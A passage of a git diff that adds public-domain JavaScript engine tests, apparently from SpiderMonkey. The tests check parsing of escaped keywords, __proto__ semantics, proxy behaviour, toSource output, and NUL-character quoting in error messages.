+ "export d\\u0065fault var x = 3;",
+ "export { q } fro\\u006d 'qSupplier';",
+
+ ];
+
+if (typeof parseModule === "function")
+{
+ for (var module of badModules)
+ {
+ assertThrowsInstanceOf(() => parseModule(module), SyntaxError,
+ "bad behavior for: " + module);
+ }
+}
+
+if (typeof Reflect.parse === "function")
+{
+ var twoStatementAST =
+ Reflect.parse(`let x = 0;
+ export { x } /* ASI should trigger here */
+ fro\\u006D`,
+ { target: "module" });
+
+ var statements = twoStatementAST.body;
+ assertEq(statements.length, 3,
+ "should have two items in the module, not one ExportDeclaration");
+ assertEq(statements[0].type, "VariableDeclaration");
+ assertEq(statements[1].type, "ExportDeclaration");
+ assertEq(statements[2].type, "ExpressionStatement");
+ assertEq(statements[2].expression.name, "from");
+
+ var oneStatementAST =
+ Reflect.parse(`export { x } /* no ASI here */
+ from 'foo'`,
+ { target: "module" });
+
+ assertEq(oneStatementAST.body.length, 1);
+ assertEq(oneStatementAST.body[0].type, "ExportDeclaration");
+
+ twoStatementAST =
+ Reflect.parse(`export { x } from "bar"
+ /bar/g`,
+ { target: "module" });
+
+ statements = twoStatementAST.body;
+ assertEq(statements.length, 2,
+ "should have two items in the module, not one ExportDeclaration");
+ assertEq(statements[0].type, "ExportDeclaration");
+ assertEq(statements[1].type, "ExpressionStatement");
+ assertEq(statements[1].expression.type, "Literal");
+ assertEq(statements[1].expression.value.toString(), "/bar/g");
+
+ twoStatementAST =
+ Reflect.parse(`export * from "bar"
+ /bar/g`,
+ { target: "module" });
+
+ statements = twoStatementAST.body;
+ assertEq(statements.length, 2,
+ "should have two items in the module, not one ExportDeclaration");
+ assertEq(statements[0].type, "ExportDeclaration");
+ assertEq(statements[1].type, "ExpressionStatement");
+ assertEq(statements[1].expression.type, "Literal");
+ assertEq(statements[1].expression.value.toString(), "/bar/g");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/keyword-unescaped-requirement.js b/js/src/tests/non262/extensions/keyword-unescaped-requirement.js
new file mode 100644
index 0000000000..20d3555e3d
--- /dev/null
+++ b/js/src/tests/non262/extensions/keyword-unescaped-requirement.js
@@ -0,0 +1,43 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1204027;
+var summary =
+ "Escape sequences aren't allowed in bolded grammar tokens (that is, in " +
+ "keywords, possibly contextual keywords)";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var randomExtensions =
+ [
+ "for \\u0065ach (var x in []);",
+ "for e\\u0061ch (var x in []);",
+ "[0 for \\u0065ach (var x in [])]",
+ "[0 for e\\u0061ch (var x in [])]",
+ "(0 for \\u0065ach (var x in []))",
+ "(0 for e\\u0061ch (var x in []))",
+
+ // Soon to be not an extension, maybe...
+ "(for (x \\u006ff [1]) x)",
+ "(for (x o\\u0066 [1]) x)",
+ ];
+
+for (var extension of randomExtensions)
+{
+ assertThrowsInstanceOf(() => Function(extension), SyntaxError,
+ "bad behavior for: " + extension);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/mutable-proto-special-form.js b/js/src/tests/non262/extensions/mutable-proto-special-form.js
new file mode 100644
index 0000000000..b196507f25
--- /dev/null
+++ b/js/src/tests/non262/extensions/mutable-proto-special-form.js
@@ -0,0 +1,91 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 948583;
+var summary =
+ "Make __proto__ in object literals a special form not influenced by " +
+ "|Object.prototype|";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var passed = true;
+
+function performProtoTests(msg)
+{
+ print("Testing " + msg);
+ assertEq(passed, true, "passed wrong at start of test set");
+
+ assertEq(Object.getPrototypeOf({ __proto__: null }), null);
+ assertEq(Object.getPrototypeOf({ __proto__: undefined }), Object.prototype);
+ assertEq(Object.getPrototypeOf({ __proto__: 17 }), Object.prototype);
+
+ var obj = {};
+ assertEq(Object.getPrototypeOf({ __proto__: obj }), obj);
+
+ assertEq(passed, true, "passed wrong at end of test set");
+ print("Tests of " + msg + " passed!");
+}
+
+function poisonProto(obj)
+{
+ Object.defineProperty(obj, "__proto__",
+ {
+ configurable: true,
+ enumerable: true,
+ set: function(v) { passed = false; },
+ });
+}
+
+performProtoTests("initial behavior");
+
+var desc = Object.getOwnPropertyDescriptor(Object.prototype, "__proto__");
+var setProto = desc.set;
+delete Object.prototype.__proto__;
+
+performProtoTests("behavior after Object.prototype.__proto__ deletion");
+
+Object.defineProperty(Object.prototype, "__proto__",
+ {
+ configurable: true,
+ enumerable: false,
+ set: function(v) { passed = false; },
+ });
+
+performProtoTests("behavior after making Object.prototype.__proto__ a " +
+ "custom setter");
+
+Object.defineProperty(Object.prototype, "__proto__", { set: undefined });
+
+performProtoTests("behavior after making Object.prototype.__proto__'s " +
+ "[[Set]] === undefined");
+
+try
+{
+ var superProto = Object.create(null);
+ poisonProto(superProto);
+ setProto.call(Object.prototype, superProto);
+
+ performProtoTests("behavior after mutating Object.prototype.[[Prototype]]");
+
+ // Note: The handler below will have to be updated to exempt a scriptable
+ // getPrototypeOf trap (to instead consult the target whose [[Prototype]]
+ // is safely non-recursive), if we ever implement one.
+ var death = new Proxy(Object.create(null),
+ new Proxy({}, { get: function() { passed = false; } }));
+
+ setProto.call(Object.prototype, death);
+
+ performProtoTests("behavior after making Object.prototype.[[Prototype]] a " +
+ "proxy that throws for any access");
+}
+catch (e) {}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/nested-delete-name-in-evalcode.js b/js/src/tests/non262/extensions/nested-delete-name-in-evalcode.js
new file mode 100644
index 0000000000..7dfab04589
--- /dev/null
+++ b/js/src/tests/non262/extensions/nested-delete-name-in-evalcode.js
@@ -0,0 +1,85 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 616294;
+var summary =
+ "|delete x| inside a function in eval code, where that eval code includes " +
+ "|var x| at top level, actually does delete the binding for x";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var f;
+
+function testOuterLet()
+{
+ return eval("let x; (function() { return delete x; })");
+}
+
+f = testOuterLet();
+
+assertEq(f(), false); // can't delete lexical declarations => false
+
+
+function testOuterForLet()
+{
+ return eval("for (let x; false; ); (function() { return delete x; })");
+}
+
+f = testOuterForLet();
+
+assertEq(f(), true); // not there => true (only non-configurable => false)
+
+
+function testOuterForInLet()
+{
+ return eval("for (let x in {}); (function() { return delete x; })");
+}
+
+f = testOuterForInLet();
+
+assertEq(f(), true); // configurable, so remove => true
+assertEq(f(), true); // not there => true (only non-configurable => false)
+
+
+function testOuterNestedVarInForLet()
+{
+ return eval("for (let q = 0; q < 5; q++) { var x; } (function() { return delete x; })");
+}
+
+f = testOuterNestedVarInForLet();
+
+assertEq(f(), true); // configurable, so remove => true
+assertEq(f(), true); // there => true
+
+
+function testArgumentShadowLet()
+{
+ return eval("let x; (function(x) { return delete x; })");
+}
+
+f = testArgumentShadowLet();
+
+assertEq(f(), false); // non-configurable argument => false
+
+
+function testFunctionLocal()
+{
+ return eval("(function() { let x; return delete x; })");
+}
+
+f = testFunctionLocal();
+
+assertEq(f(), false); // defined by function code => not configurable => false
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/extensions/new-cross-compartment.js b/js/src/tests/non262/extensions/new-cross-compartment.js
new file mode 100644
index 0000000000..cae4b187df
--- /dev/null
+++ b/js/src/tests/non262/extensions/new-cross-compartment.js
@@ -0,0 +1,39 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1178653;
+var summary =
+ "|new| on a cross-compartment wrapper to a non-constructor shouldn't assert";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var g = newGlobal();
+
+var otherStr = new g.String("foo");
+assertEq(otherStr instanceof g.String, true);
+assertEq(otherStr.valueOf(), "foo");
+
+try
+{
+ var constructor = g.parseInt;
+ new constructor();
+ throw new Error("no error thrown");
+}
+catch (e)
+{
+ // NOTE: not |g.TypeError|, because |new| itself throws because
+ // |!IsConstructor(constructor)|.
+ assertEq(e instanceof TypeError, true);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/new-parenthesization.js b/js/src/tests/non262/extensions/new-parenthesization.js
new file mode 100644
index 0000000000..a3aebf383f
--- /dev/null
+++ b/js/src/tests/non262/extensions/new-parenthesization.js
@@ -0,0 +1,21 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jesse Ruderman
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 521456;
+var summary =
+ 'Incorrect decompilation of new (eval(v)).s and new (f.apply(2)).s';
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+function foo(c) { return new (eval(c)).s; }
+function bar(f) { var a = new (f.apply(2).s); return a; }
+
+assertEq(bar.toString().search(/new\s+f/), -1);
+assertEq(foo.toString().search(/new\s+eval/), -1);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/newer-type-functions-caller-arguments.js b/js/src/tests/non262/extensions/newer-type-functions-caller-arguments.js
new file mode 100644
index 0000000000..8f2d47a11d
--- /dev/null
+++ b/js/src/tests/non262/extensions/newer-type-functions-caller-arguments.js
@@ -0,0 +1,94 @@
+// Tests that newer-type functions (i.e. anything not defined by regular function declarations and
+// expressions) throw when accessing their 'arguments' and 'caller' properties.
+
+// 9.2.7 (AddRestrictedFunctionProperties) defines accessors on Function.prototype which throw on
+// every 'get' and 'set' of 'caller' and 'arguments'.
+// Additionally, 16.2 (Forbidden Extensions) forbids adding properties to all non-"legacy" function
+// declarations and expressions. This creates the effect that all newer-style functions act like
+// strict-mode functions when accessing their 'caller' and 'arguments' properties.
+
+const container = {
+ async asyncMethod() {},
+ *genMethod() {},
+ method() {},
+ get getterMethod() {},
+ set setterMethod(x) {},
+};
+
+function* genDecl(){}
+async function asyncDecl(){}
+class classDecl {}
+class extClassDecl extends Object {}
+class classDeclExplicitCtor { constructor(){} }
+class extClassDeclExplicitCtor extends Object { constructor(){} }
+
+const functions = [
+ // Declarations
+ genDecl,
+ asyncDecl,
+ classDecl,
+ extClassDecl,
+ classDeclExplicitCtor,
+ extClassDeclExplicitCtor,
+
+ // Expressions
+ async function(){},
+ function*(){},
+ () => {},
+ async () => {},
+ class {},
+ class extends Object {},
+ class { constructor(){} },
+ class extends Object { constructor(){} },
+
+ // Methods
+ container.asyncMethod,
+ container.genMethod,
+ container.method,
+ Object.getOwnPropertyDescriptor(container, "getterMethod").get,
+ Object.getOwnPropertyDescriptor(container, "setterMethod").set,
+
+ // Bound functions
+ function(){}.bind(),
+
+ // Built-ins (native and self-hosted)
+ Function,
+ Function.prototype.bind,
+];
+
+const supportsAsyncGenerator = (function() {
+ try {
+ eval("async function* f(){}");
+ return true;
+ } catch (e) {
+ return false;
+ }
+})();
+
+if (supportsAsyncGenerator) {
+eval(`
+ async function* asyncGenDecl(){}
+
+ functions.push(asyncGenDecl);
+ functions.push(async function*(){});
+ functions.push({async* asyncGenerator(){}}.asyncGenerator);
+`);
+}
+
+functions.forEach(f => {
+ checkArgumentsAccess(f);
+ checkCallerAccess(f);
+});
+
+function checkArgumentsAccess(f) {
+ assertThrowsInstanceOf(() => f.arguments, TypeError,
+ `Expected 'arguments' property access to throw on ${f}`);
+}
+
+function checkCallerAccess(f) {
+ assertThrowsInstanceOf(() => f.caller, TypeError,
+ `Expected 'caller' property access to throw on ${f}`);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/non_syntactic.js b/js/src/tests/non262/extensions/non_syntactic.js
new file mode 100644
index 0000000000..cdbaad292f
--- /dev/null
+++ b/js/src/tests/non262/extensions/non_syntactic.js
@@ -0,0 +1,46 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs evaluate()
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+// Check references to someVar, both as a variable and on |this|, in
+// various evaluation contexts.
+var someVar = 1;
+
+// Top level.
+assertEq(someVar, 1);
+assertEq(this.someVar, 1);
+
+// Inside evaluate.
+evaluate("assertEq(someVar, 1);");
+evaluate("assertEq(this.someVar, 1);");
+
+// With an object on the scope, no shadowing.
+var someObject = { someOtherField: 2 };
+var evalOpt = { envChainObject: someObject };
+evaluate("assertEq(someVar, 1);", evalOpt);
+evaluate("assertEq(this.someVar, undefined);", evalOpt);
+
+// With an object on the scope, shadowing global.
+someObject = { someVar: 2 };
+evalOpt = { envChainObject: someObject };
+var alsoSomeObject = someObject;
+evaluate("assertEq(someVar, 2);", evalOpt);
+evaluate("assertEq(this.someVar, 2);", evalOpt);
+evaluate("assertEq(this, alsoSomeObject);", evalOpt);
+
+// With an object on the scope, inside a function.
+evaluate("(function() { assertEq(someVar, 2);})()", evalOpt);
+evaluate("(function() { assertEq(this !== alsoSomeObject, true);})()", evalOpt);
+evaluate("(function() { assertEq(this.someVar, 1);})()", evalOpt);
+
+var globalEvalOpt = {
+ envChainObject: this
+};
+try {
+ evaluate("assertEq(someVar, 1);", globalEvalOpt);
+ throw new Error("Globals aren't allowed as a envChainObject argument to evaluate");
+} catch (e) {
+}
+
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/object-toSource-override-on-getter.js b/js/src/tests/non262/extensions/object-toSource-override-on-getter.js
new file mode 100644
index 0000000000..f79499a52f
--- /dev/null
+++ b/js/src/tests/non262/extensions/object-toSource-override-on-getter.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!Function.prototype.toSource)
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+let x = {};
+let y = function() {};
+y.toSource = function() {
+ return "[012345678901234567890123456789]";
+};
+Object.defineProperty(x, "", {enumerable: true, get: y});
+assertEq(x.toSource(), "({'':[012345678901234567890123456789]})");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/extensions/object-toSource-undefined-getter.js b/js/src/tests/non262/extensions/object-toSource-undefined-getter.js
new file mode 100644
index 0000000000..7c8e3289a4
--- /dev/null
+++ b/js/src/tests/non262/extensions/object-toSource-undefined-getter.js
@@ -0,0 +1,11 @@
+// |reftest| skip-if(!Object.prototype.toSource)
+
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var desc = { get: undefined, set: undefined, configurable: true, enumerable: true };
+var obj = Object.defineProperty({}, "prop", desc);
+assertEq(obj.toSource(), "({})");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/extensions/object-toSource-with-symbol-keys.js b/js/src/tests/non262/extensions/object-toSource-with-symbol-keys.js
new file mode 100644
index 0000000000..74ee7e9f31
--- /dev/null
+++ b/js/src/tests/non262/extensions/object-toSource-with-symbol-keys.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!Object.prototype.toSource)
+
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var obj = {};
+obj[Symbol.iterator] = 1;
+assertEq(obj.toSource(), "({[Symbol.iterator]:1})");
+obj[Symbol(undefined)] = 2;
+obj[Symbol('ponies')] = 3;
+obj[Symbol.for('ponies')] = 4;
+assertEq(obj.toSource(),
+ '({[Symbol.iterator]:1, [Symbol()]:2, [Symbol("ponies")]:3, [Symbol.for("ponies")]:4})');
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/extensions/parse-rest-destructuring-parameter.js b/js/src/tests/non262/extensions/parse-rest-destructuring-parameter.js
new file mode 100644
index 0000000000..dda67c95f3
--- /dev/null
+++ b/js/src/tests/non262/extensions/parse-rest-destructuring-parameter.js
@@ -0,0 +1,27 @@
+// |reftest| skip-if(!xulRuntime.shell)
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+function funArgs(params) {
+ return Reflect.parse(`function f(${params}) {}`).body[0].rest;
+}
+
+var arrayRest = funArgs("...[]");
+assertEq(arrayRest.type, "ArrayPattern");
+assertEq(arrayRest.elements.length, 0);
+
+arrayRest = funArgs("...[a]");
+assertEq(arrayRest.type, "ArrayPattern");
+assertEq(arrayRest.elements.length, 1);
+
+var objectRest = funArgs("...{}");
+assertEq(objectRest.type, "ObjectPattern");
+assertEq(objectRest.properties.length, 0);
+
+objectRest = funArgs("...{p: a}");
+assertEq(objectRest.type, "ObjectPattern");
+assertEq(objectRest.properties.length, 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/extensions/preventExtensions-cross-global.js b/js/src/tests/non262/extensions/preventExtensions-cross-global.js
new file mode 100644
index 0000000000..0cc68e0fb4
--- /dev/null
+++ b/js/src/tests/non262/extensions/preventExtensions-cross-global.js
@@ -0,0 +1,49 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs newGlobal()
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+var gTestfile = 'preventExtensions-cross-global.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 789897;
+var summary =
+ "Object.preventExtensions and Object.isExtensible should work correctly " +
+ "across globals";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var otherGlobal = newGlobal();
+
+var obj = {};
+assertEq(otherGlobal.Object.isExtensible(obj), true);
+assertEq(otherGlobal.Object.preventExtensions(obj), obj);
+assertEq(otherGlobal.Object.isExtensible(obj), false);
+
+var objFromOther = otherGlobal.Object();
+assertEq(Object.isExtensible(objFromOther), true);
+assertEq(Object.preventExtensions(objFromOther), objFromOther);
+assertEq(Object.isExtensible(objFromOther), false);
+
+var proxy = new Proxy({}, {});
+assertEq(otherGlobal.Object.isExtensible(proxy), true);
+assertEq(otherGlobal.Object.preventExtensions(proxy), proxy);
+assertEq(otherGlobal.Object.isExtensible(proxy), false);
+
+var proxyFromOther = otherGlobal.evaluate("new Proxy({}, {})");
+assertEq(Object.isExtensible(proxyFromOther), true);
+assertEq(Object.preventExtensions(proxyFromOther), proxyFromOther);
+assertEq(Object.isExtensible(proxyFromOther), false);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/proxy-array-target-length-definition.js b/js/src/tests/non262/extensions/proxy-array-target-length-definition.js
new file mode 100644
index 0000000000..c573c4ba08
--- /dev/null
+++ b/js/src/tests/non262/extensions/proxy-array-target-length-definition.js
@@ -0,0 +1,55 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'proxy-array-target-length-definition.js';
+var BUGNUMBER = 905947;
+var summary =
+ "Redefining an array's |length| property when redefining the |length| " +
+ "property on a proxy with an array as target";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var arr = [];
+var p = new Proxy(arr, {});
+
+function assertThrowsTypeError(f)
+{
+ try {
+ f();
+ assertEq(false, true, "Must have thrown");
+ } catch (e) {
+ assertEq(e instanceof TypeError, true, "Must have thrown TypeError");
+ }
+}
+
+// Redefining non-configurable length should throw a TypeError
+assertThrowsTypeError(function () { Object.defineProperty(p, "length", { value: 17, configurable: true }); });
+
+// Same here.
+assertThrowsTypeError(function () { Object.defineProperty(p, "length", { value: 42, enumerable: true }); });
+
+// Check the property went unchanged.
+var pd = Object.getOwnPropertyDescriptor(p, "length");
+assertEq(pd.value, 0);
+assertEq(pd.writable, true);
+assertEq(pd.enumerable, false);
+assertEq(pd.configurable, false);
+
+var ad = Object.getOwnPropertyDescriptor(arr, "length");
+assertEq(ad.value, 0);
+assertEq(ad.writable, true);
+assertEq(ad.enumerable, false);
+assertEq(ad.configurable, false);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/proxy-enumeration.js b/js/src/tests/non262/extensions/proxy-enumeration.js
new file mode 100644
index 0000000000..f872d635d8
--- /dev/null
+++ b/js/src/tests/non262/extensions/proxy-enumeration.js
@@ -0,0 +1,4 @@
+var list = Object.getOwnPropertyNames(this);
+var found = list.indexOf("Proxy") != -1;
+assertEq(found, true)
+reportCompare(true, true)
diff --git a/js/src/tests/non262/extensions/proxy-proto-setter.js b/js/src/tests/non262/extensions/proxy-proto-setter.js
new file mode 100644
index 0000000000..37e620cd1c
--- /dev/null
+++ b/js/src/tests/non262/extensions/proxy-proto-setter.js
@@ -0,0 +1,50 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Blake Kaplan
+
+function expect(actual, arg) {
+ reportCompare(expect.expected, actual, arg);
+}
+
+var window = { set x(y) { expect(this, y) }, y: 4 };
+expect.expected = window;
+window.x = "setting through a setter directly";
+window.y = 5;
+reportCompare(5, window.y, "setting properties works");
+var easy = { easy: 'yes', __proto__: window }
+expect.expected = easy;
+easy.x = "setting through a setter all-native on prototype";
+easy.y = 6;
+reportCompare(5, window.y, "window.y remains as it was");
+reportCompare(6, easy.y, "shadowing works properly");
+
+var sandbox = evalcx('');
+sandbox.window = window;
+sandbox.print = print;
+sandbox.expect = expect;
+var hard = evalcx('Object.create(window)', sandbox);
+expect.expected = hard;
+hard.x = "a setter through proxy -> native";
+hard.y = 6;
+reportCompare(5, window.y, "window.y remains as it was through a proxy");
+reportCompare(6, hard.y, "shadowing works on proxies");
+
+hard.__proto__ = { 'passed': true }
+reportCompare(true, hard.passed, "can set proxy.__proto__ through a native");
+
+var inverse = evalcx('({ set x(y) { expect(this, y); }, y: 4 })', sandbox);
+expect.expected = inverse;
+inverse.x = "setting through a proxy directly";
+inverse.y = 5;
+reportCompare(5, inverse.y, "setting properties works on proxies");
+
+var inversehard = Object.create(inverse);
+expect.expected = inversehard;
+inversehard.x = "setting through a setter with a proxy on the proto chain";
+inversehard.y = 6;
+reportCompare(5, inverse.y, "inverse.y remains as it was");
+reportCompare(6, inversehard.y, "shadowing works native -> proxy");
+
+inversehard.__proto__ = { 'passed': true }
+reportCompare(true, inversehard.passed, "can set native.__proto__ through a proxy");
diff --git a/js/src/tests/non262/extensions/proxy-strict.js b/js/src/tests/non262/extensions/proxy-strict.js
new file mode 100644
index 0000000000..9dc9696853
--- /dev/null
+++ b/js/src/tests/non262/extensions/proxy-strict.js
@@ -0,0 +1,12 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var s = "grape";
+function f() { "use strict"; return this; }
+var p = new Proxy(f, {});
+String.prototype.p = p;
+assertEq(s.p(), "grape");
+
+reportCompare(true,true);
diff --git a/js/src/tests/non262/extensions/quote-string-for-nul-character.js b/js/src/tests/non262/extensions/quote-string-for-nul-character.js
new file mode 100644
index 0000000000..f893410ed6
--- /dev/null
+++ b/js/src/tests/non262/extensions/quote-string-for-nul-character.js
@@ -0,0 +1,94 @@
+// Ensure we properly quote strings which can contain the NUL character before
+// returning them to the user to avoid cutting off any trailing characters.
+
+function assertStringIncludes(actual, expected) {
+ assertEq(actual.includes(expected), true, `"${actual}" includes "${expected}"`);
+}
+
+function assertErrorMessageIncludes(fn, str) {
+ try {
+ fn();
+ } catch (e) {
+ assertStringIncludes(e.message, str);
+ return;
+ }
+ assertEq(true, false, "missing exception");
+}
+
+assertErrorMessageIncludes(() => "foo\0bar" in "asdf\0qwertz", "bar");
+assertErrorMessageIncludes(() => "foo\0bar" in "asdf\0qwertz", "qwertz");
+
+if (this.Intl) {
+ assertErrorMessageIncludes(() => Intl.getCanonicalLocales("de\0Latn"), "Latn");
+
+ assertErrorMessageIncludes(() => Intl.Collator.supportedLocalesOf([], {localeMatcher:"lookup\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.Collator("en", {localeMatcher: "lookup\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.Collator("en", {usage: "sort\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.Collator("en", {caseFirst: "upper\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.Collator("en", {sensitivity: "base\0cookie"}), "cookie");
+
+ assertErrorMessageIncludes(() => Intl.DateTimeFormat.supportedLocalesOf([], {localeMatcher:"lookup\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.DateTimeFormat("en", {localeMatcher: "lookup\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.DateTimeFormat("en", {hourCycle: "h24\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.DateTimeFormat("en", {weekday: "narrow\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.DateTimeFormat("en", {era: "narrow\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.DateTimeFormat("en", {year: "2-digit\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.DateTimeFormat("en", {month: "2-digit\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.DateTimeFormat("en", {day: "2-digit\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.DateTimeFormat("en", {hour: "2-digit\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.DateTimeFormat("en", {minute: "2-digit\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.DateTimeFormat("en", {second: "2-digit\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.DateTimeFormat("en", {formatMatcher: "basic\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.DateTimeFormat("en", {timeZone: "UTC\0cookie"}), "cookie");
+
+ assertErrorMessageIncludes(() => Intl.NumberFormat.supportedLocalesOf([], {localeMatcher:"lookup\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.NumberFormat("en", {localeMatcher: "lookup\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.NumberFormat("en", {style: "decimal\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.NumberFormat("en", {currency: "USD\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.NumberFormat("en", {currencyDisplay: "code\0cookie"}), "cookie");
+
+ assertErrorMessageIncludes(() => Intl.PluralRules.supportedLocalesOf([], {localeMatcher:"lookup\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.PluralRules("en", {localeMatcher: "lookup\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.PluralRules("en", {type: "cardinal\0cookie"}), "cookie");
+
+ assertErrorMessageIncludes(() => Intl.RelativeTimeFormat.supportedLocalesOf([], {localeMatcher:"lookup\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.RelativeTimeFormat("en", {localeMatcher: "lookup\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.RelativeTimeFormat("en", {style: "long\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.RelativeTimeFormat("en", {numeric: "auto\0cookie"}), "cookie");
+ assertErrorMessageIncludes(() => new Intl.RelativeTimeFormat().format(1, "day\0cookie"), "cookie");
+
+ assertErrorMessageIncludes(() => new Intl.Locale("de\0keks"), "keks");
+ assertErrorMessageIncludes(() => new Intl.Locale("de", {language: "it\0biscotto"}), "biscotto");
+ assertErrorMessageIncludes(() => new Intl.Locale("th", {script: "Thai\0คุกกี้"}), "\\u0E04\\u0E38\\u0E01\\u0E01\\u0E35\\u0E49");
+ assertErrorMessageIncludes(() => new Intl.Locale("en", {region: "GB\0biscuit"}), "biscuit");
+
+ assertErrorMessageIncludes(() => new Intl.Locale("und", {calendar: "gregory\0F1"}), "F1");
+ assertErrorMessageIncludes(() => new Intl.Locale("und", {collation: "phonebk\0F2"}), "F2");
+ assertErrorMessageIncludes(() => new Intl.Locale("und", {hourCycle: "h24\0F3"}), "F3");
+ assertErrorMessageIncludes(() => new Intl.Locale("und", {caseFirst: "false\0F4"}), "F4");
+ assertErrorMessageIncludes(() => new Intl.Locale("und", {numberingSystem: "arab\0F5"}), "F5");
+}
+
+// Shell and helper functions.
+
+assertErrorMessageIncludes(() => assertEq(true, false, "foo\0bar"), "bar");
+
+if (this.disassemble) {
+ assertStringIncludes(disassemble(Function("var re = /foo\0bar/")), "bar");
+}
+
+if (this.getBacktrace) {
+ const k = "asdf\0asdf";
+ const o = {[k](a) { "use strict"; return getBacktrace({locals: true, args: true}); }};
